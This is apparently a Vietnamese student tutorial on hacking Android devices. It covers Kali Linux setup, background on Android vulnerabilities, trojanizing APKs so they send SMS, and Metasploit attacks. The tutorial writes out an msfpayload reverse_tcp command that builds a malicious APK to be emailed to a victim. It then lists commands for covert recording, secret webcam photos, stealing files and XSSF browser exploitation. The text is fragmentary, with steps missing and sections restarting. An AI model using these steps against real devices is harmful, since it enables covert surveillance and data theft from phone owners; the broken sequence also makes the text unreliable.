Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế
để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Kali Linux phát
triển trên nền tảng hệ điều hành Debian, khả năng tương thích với kiến trúc ARM được cải tiến, nó hỗ trợ mạng không dây tốt hơn, có khả năng tùy biến cao và dễ dàng nâng cấp giữa các phiên bản Kali trong trương lai.
Rất cần thiết có được máy tính chạy hệ điều hành Kali Linux để hỗ trợ việc xâm nhập, khai thác các thiết bị chạy Android. Do đó ta sẽ thực hiện việc tạo máy ảo Kali Linux trên phần mềm VMware workstation.
1. Chuẩn bị:
- Máy tính được cài đặt phầm mềm VMware workstation. Ở đây ta sẽ dùng
VMware workstation 10.0.0
- Download file ISO hệ điều hành Kali Linux 64 bit phiên bản 1.0.7 trên link www.kali.org/downloads
2. Tiến trình:
Bước 1: Khởi động VMware. Vào File > New Virtual Machine… (hoặc
Ctrl+N)
Bước 2: Chọn Type là Custom (advanced) > Next
Bước 4: Chọn hệ thống là Linux, Version là Debian 7 64-bit > Next
Bước 6: Cấu hình bộ xử lý là mặc định > Next
Bước 7: Chọn bộ nhớ RAM là 512MB > Next. Lưu ý là phải phù hợp với máy thật)
Bước 8: Chọn loại Network là Bridged networking > Next
Bước 9: Cấp phát ổ đĩa cho máy ảo. Ta cấp phát Maximum là 15GB. Chọn
Bước 10: Ta sẽ trỏ file ISO vào máy ảo vừa tạo. Click chuột phải vào tên máy ảo Debian 7 64 > Settings
Trỏ dòng CD/DVD (IDE) > phần Connection > Use ISO image file >
Ta dẫn đến file Kali Linux 64 bit.ISO
Bước 12: Ta chọn Language, Location, Keyboard > Continue
Bước 13: Sau đó ta phải cấu hình Network > đặt Hostname > đặt Domain name > Continue
Bước 14: Tạo Users name và Password > Continue. Bước nay khá quan trọng,
Bước 15: Cấu hình Clock > Next
Bước 16: Phân vùng ổ đĩa > ta để mặc định Guided – use entire disk >
Continue
Khi xuất hiện yêu cầu Write the changes to disk? > chọn Yes > Continue
Bước 17: Cấu hình Package manager > Xuất hiện yêu cầu Use the network mirror? > chọn No > Continue
Bước 18: Cài đặt GRUB boot loader > Install the GRUB boot loader to the master boot record? > chọn Yes > Continue
Bước 19: Ta đợi tiến trình cài đặt hoàn tất > Finish the Installation > Continue
Bước 20: Sau khi hoàn tất, máy ảo Debian 7 64 sẽ tự khởi động. Ta đăng nhập với User là root và Password đã đặt.
Android có ít lỗ hổng bảo mật nhưng lại hứng chịu nhiều mối đe dọa bảo mật nhất trong số các hệ điều hành di động.
- Theo báo cáo quý II/2013 của Trend Micro chỉ ra rằng Việt Nam là Quốc Gia
đứng thứ 3 thế giới trong việc tải về các phần mềm độc hại trên ứng dụng Android. Và là quốc gia thứ 2 về mức độ rủi ro gặp phải về thông tin riêng tư trên thiết bị di động.
- Mới đây nhất, vào tháng 7/2014, công ty bảo mật Bluebox Labs cho biết lỗ
hổng có tên Fake ID cho phép ứng dụng độc hại có thể giả danh các ứng dụng "chính
hãng" từ các nhà phát triển đáng tin cậy. Ngay sau khi thông tin về Fake ID xuất hiện, Google đưa ra tuyên bố đã vá lỗ hổng này từ tháng 4 vừa qua.
- Do bản vá của Google được thực hiện trên 4.4 KitKat, tất cả những người dùng
sử dụng các phiên bản từ 2.1 đến 4.4 (cập nhật trước tháng 4) sẽ bị Fake ID đe dọa.
Điều này cũng có nghĩa rằng có tới hơn 82% người dùng Android bị Fake ID đe dọa.
2. Khái niệm và phân loại lỗ hổng bảo mật trên Android:
2.1. Khái niệm lỗ hổng bảo mật:
- Tất cả những đặc tính của phần mềm hoặc phần cứng cho phép người dùng không hợp lệ, có thể truy cập hay tăng quyền không cần xác thực.
- Tổng quát, lỗ hổng là những phương tiện đối phương có thể lợi dụng để xâm nhập vào hệ thống.
- Lỗ hổng cho phép những người không được ủy quyền có thể xâm nhập từ xa không xác thực.
2.3. Một số lỗ hổng bảo mật phổ biến:
- Lỗ hổng bảo mật “Master key” - là lỗi khóa bảo mật.
- Lỗ hổng bảo mật khi kết nối WI-FI.
- Lỗ hổng bảo mật Heartbleed.
- Lỗ hổng bảo mật Fake ID.
3. Nghiên cứu Malware, Trojan và cơ chế tạo mã độc trên Android:
3.1. Khái niệm Malware, Trojan:
- Malware - Malicious Sofware có nghĩa là bất kỳ phần mềm máy tính độc hại nào đó được tạo nên với ý định xâm nhập làm hại máy tính, thu thập thông tin, truy
cập dữ liệu nhạy cảm… mà người sử dụng không hề hay biết. Malware bao gồm virus,
worm, trojan horse, adware, spyware, keyloger, backdoor, rootkit…
- Trojan - Trojan Horse gọi là phần mềm gián điệp. Nó là một chương trình phần mềm độc hại mà không cố gắng để tự tái tạo, thay vào đó nó sẽ được cài đặt vào hệ thống của người dùng bằng cách giả vờ là một chương trình phần mềm hợp pháp.
- Hiện nay, malware chỉ xâm nhập vào máy tính và đánh cắp thông tin người
dùng, nó chưa có cơ chế lây lan. Cách thức hoạt động của malware giống như trojan
chứ không như virus phá hủy.
- Đơn giản là malware và trojan giúp tin tặc truy cập vào máy người dùng, điều
khiển từ xa, thu thập thông tin người dùng…
3.2. Cơ chế hoạt động của Malware:
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là
Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:
- Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng
dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root
vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.
- Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt
cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các
thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.
3.3. Cơ chế hoạt động của Trojan:
- Trojan có nhiều loại nhưng phổ biến là 2 loại: Trojan dùng để điều khiển và Trojan dùng để đánh cắp mật khẩu.
- Bước đầu cơ chế hoạt động của cả 2 loại này là giống nhau. Máy tính sẽ bị nhiễm trojan qua tập tin đính kèm của thư điện tử, chương trình trò chơi, chương trình nào đó mà bạn vô tình chạy thử. Nó sẽ tự sao chép vào nơi nào đó trong máy tính. Sau đó nó bắt đầu ghi vào registry của máy các thông số đề nó có thễ tự động khởi chạy khi máy tính khởi động.
- Tiếp theo, đối với trojan điều khiển nó sẽ cho phép tin tặc từ xa nắm quyền điều
khiển máy tính. Còn đối với trojan đánh cắp mật khẩu, nó lưu mật khẩu của người dùng vào 1 file và tự động gửi mail đến tin tặc khi máy tính kết nối mạng.
V. CÀI ĐẶT VÀO THIẾT BỊ ANDROID TROJAN ỨNG DỤNG iCALENDAR VÀ TROJAN ỨNG DỤNG iMATCH
Những tác vụ gây ảnh hưởng cho các ứng dụng khác, hệ điều hành, và người sử dụng thiết bị đều được bảo vệ bởi cơ chế Permission, ví dụ như gửi tin nhắn, truy cập vào thông tin cá nhân,.... Nói cách khác những người lập trình sẽ khai báo Permission cho những nguồn tài nguyên mà ứng dụng sẽ truy cập hay sử dụng. Những Permission này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng.
1. Các Tools cần thiết để cài đặt:
- Máy ảo Android ADV trên phần mềm Eclipse
- Ứng dụng iCalendar.apk và iMatch.apk
- Tải phần mềm Super Apktool v2.1 tại link:
http://mobilelife.vn/resources/super-apk-tool-v2-0-cong-cu-chinh-sua-apk-bang- giao-dien-cuc-manh.12/
2. Tải về và xem source code của các ứng dụng *.apk:
Bước 1:
- Dùng phần mềm Dex2Jar để chuyển đổi file *.dex thành file *.jar
- Tiếp theo xem source code của ứng dụng*.apk bằng phần mềm Jd-gui
Bước 2: Sau khi tải ứng dụng định dạng *.apk về. Ta giải nén bằng phần mềm
WinRAR. Sau đó copy file classes.dex của ứng dụng vào thư mục chứa phần
mềm Dex2Jar
Bước 3: Mở command trong Window lên.
Di chuyển đến thư mục phần mềm Dex2Jar bằng lệnh cd
Bước 4: Chuyển đổi file bằng lệnh “dex2jar <tên file>”
Bước 5: Dùng Jd-gui mở file classes_dex2jar.jar vừa được tạo để xem source code của ứng dụng
- Lưu ý là chúng ta chỉ có thể xem nhưng không chỉnh sửa được.
3. Cài đặt Trojan ứng dụng iCalendar.apk:
Thực hiện cài đặt Trojan ứng dụng iCalendar vào máy ảo Android 5554, sau
đó tự động gửi tin nhắn đến máy ảo Android 5556. Ứng dụng iMatch cho phép gửi đi 1 tin nhắn.
Ở ô Device > Ta chọn máy mà ta muốn cài đặt trojan iCalendar.apk
Bước 3:Project > New Project
Bước 5: View > View Smali Code: Cho phép chỉnh sửa code của ứng dụng
Bước 6: Chỉnh sửa code của 2 file iCalendar.smali và SmsReceiver.smali
- File iCalendar.smali, sửa code ở line 252 (số điện thoại của máy ta muốn gửi
- File SmsReceiver.smali, ta sửa code ở line 41 thành số điện thoại mà máy
mình muốn gửi đến, giống như ở iCalendar.smali
- Sau khi sửa code, ta phải Save lại 2 file trên.
Bước 7: Run > Build : cho phép bắt đầu quá trình cài đặt trojan iCalendar.apk vào 1 máy ảo Android và gửi tin nhắn tự động đến máy ảo Android khác.
- Giả sử nạn nhân trên click vào xem ứng dụng iCalendar này vài lần. Kết quả nhận được ở máy Android có số điện thoại 5556 (bị gửi tin nhắn tự động)
4. Cài đặt Trojan ứng dụng iMatch.apk:
Thực hiện cài đặt Trojan ứng dụng iMatch vào máy ảo Android 5558, sau đó tự động gửi tin nhắn đến 2 máy ảo Android 5556 và Android 5554. Ứng dụng iMatch cho phép gửi cùng lúc 4 tin nhắn.
Bước 1:Khởi động 3 máy ảo > Tạo project mới > Trỏ đến file iMatch.apk > Đợi ứng dụng được giải nén > View > View Smali Code (tương tự như thao tác với iCalendar.apk)
Bước 2: Sửa code của file MJUtils.smali
Bước 4: Run > Build : cho phép bắt đầu quá trình cài đặt trojan iMatch.apk và gửi tin nhắn tự động.
- Kết quả ta nhận được ở máy Android có số điện thoại 5558 (bị cài đặt trojan iMatch.apk)
- Kết quả nhận được ở máy Android 5556 và Android 5554 (bị gửi tin nhắn tự động)
VI. TẠO MÃ ĐỘC TRÊN MÁY KALI LINUX VÀ TẤN CÔNG VÀO THIẾT BỊ ANDROID ANDROID
1. Các công cụ cần thiết:
Để thực hiện tạo mã độc và tấn công vào thiết bị Android ta cần chuẩn bị:
- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây dùng
VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).
- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để tạo
tablet chạy Android 4.3.
- Cả 2 thiết bị đều có thể kết nối mạng.
- Có tài khoản email để gửi và nhận file trên cả 2 thiết bị.
2. Tiến trình:
Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.
Tại VMnet0 > Chọn Type là Bridged > Chọn card mạng của máy thật
ở ô Bridged to.
Bước 4: Tạo 1 file chứa mã độc và gửi cho thiết bị Android. Ở đây ta tạo file ứng dụng *.apk và gửi qua email.
Nhập lệnh: “msfpayload android/meterpreter/reverse_tcp
lhost=<địa chỉ IP máy tấn công> lport=<địa chỉ port> R > <địa chỉ lưu lại> / <tên file>”
Ví dụ lệnh là: msfpayload android/meterpreter/reverse_tcp
lhost=192.168.149.136 lport=8080 R > /root/Desktop/appsX.apk.
- Tạo ứng dụng ReverseTCP có trên file là appsX.apk.
- Địa chỉ IP máy tấn công là 192.168.149.136.
- Địa chỉ Port là 8080 (Lưu ý tránh sử dụng các port thông dụng từ 0 đến 1023).
- Lưu file tại Desktop.
Bước 5: Khởi động ứng dụng Metasploit trên máy tấn công Kali bằng lệnh: “msfconsole”
Bước 7: Thực hiện lệnh “exploit” để bắt đầu quá trình tấn công.
Bước 8: Tại thiết bị Android, sau khi tải về và cài đặt file appsX.apk, ta được
Khi đó trên Kali ta nhận được thông báo có thiết bị truy cập vào làm nạn nhân.
2.1. Khai thác thông tin hê thống:
File ghi âm được là xLijsRbg.wav lưu tự động ở /root của máy Kali.
2.3. Khai thác webcam và chụp ảnh lén:
Kiểm tra danh sách webcam của thiết bị nạn nhân Android và thực hiện chụp
ảnh lén, lưu về máy tấn công Kali bằng lệnh “webcam_list” và “webcam_snap <mã
2.4. Khai thác file hệ thống của máy nạn nhân:
Di chuyển vào bộ nhớ SDCARD bằng lệnh “cd /sdcard”.
Dùng lệnh “ls” để liệt kê danh sách các thư mục/tập tin có trong SDCARD.
Xem các tập tin mà máy nạn nhân đã tải về qua lệnh di chuyển thư muc “cd
Download” và lệnh liệt kê “ls”.
Đánh cắp và tải về tập tin bất kì bằng lệnh “download <tên tập tin>”.
Ở đây dùng lệnh “download appsX.apk”.
Tập tin appsX.apk vừa đánh cắp về được lưu tự động trong /root của máy tấn
công Kali.
2.6. Kết thúc tấn công:
tablet chạy Android 4.3.
- Cả 2 thiết bị đều có thể kết nối mạng.
- Có tài khoản email để gửi và nhận thông tin liên kết trên cả 2 thiết bị.
2. Tiến trình:
Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.
Bước 2: Ở máy Kali > Mở Terminal > thực hiện 3 lệnh sau để cập nhật Framework
“msfupdate”
“cd /opt/metasploit/apps/pro/msf3”
Bước 5: Thực hiện lệnh “xssf_urls”
Ta nhận được các urls (đường dẫn web http) như của XSSF Server, XSSF test page, XSSF logs page…
Bước 6: Cho máy nạn nhân truy cập vào đường dẫn XSSF test page:
Ta nhận được thông báo trên máy tấn công Kali:
2.1. Kiểm tra số lượng nạn nhân đang truy cập vào đường dẫn mã độc:
Ta dùng lệnh “xssf_victims” để kiểm tra số lượng nạn nhân truy cập vào đường
dẫn mã độc http://192.168.149.136:80/xssf/test.html
2.2. Xem thông tin về nạn nhân đang truy cập:
Dùng lệnh “xssf_information <ID máy nạn nhân>” Ở đây ví dụ là “xssf_information 1”
2.3. Khai thác dữ liệu từ máy nạn nhân:
Đầu tiên ta dùng lệnh “search auxiliary/xssf” để kiểm tra các quyền mà ta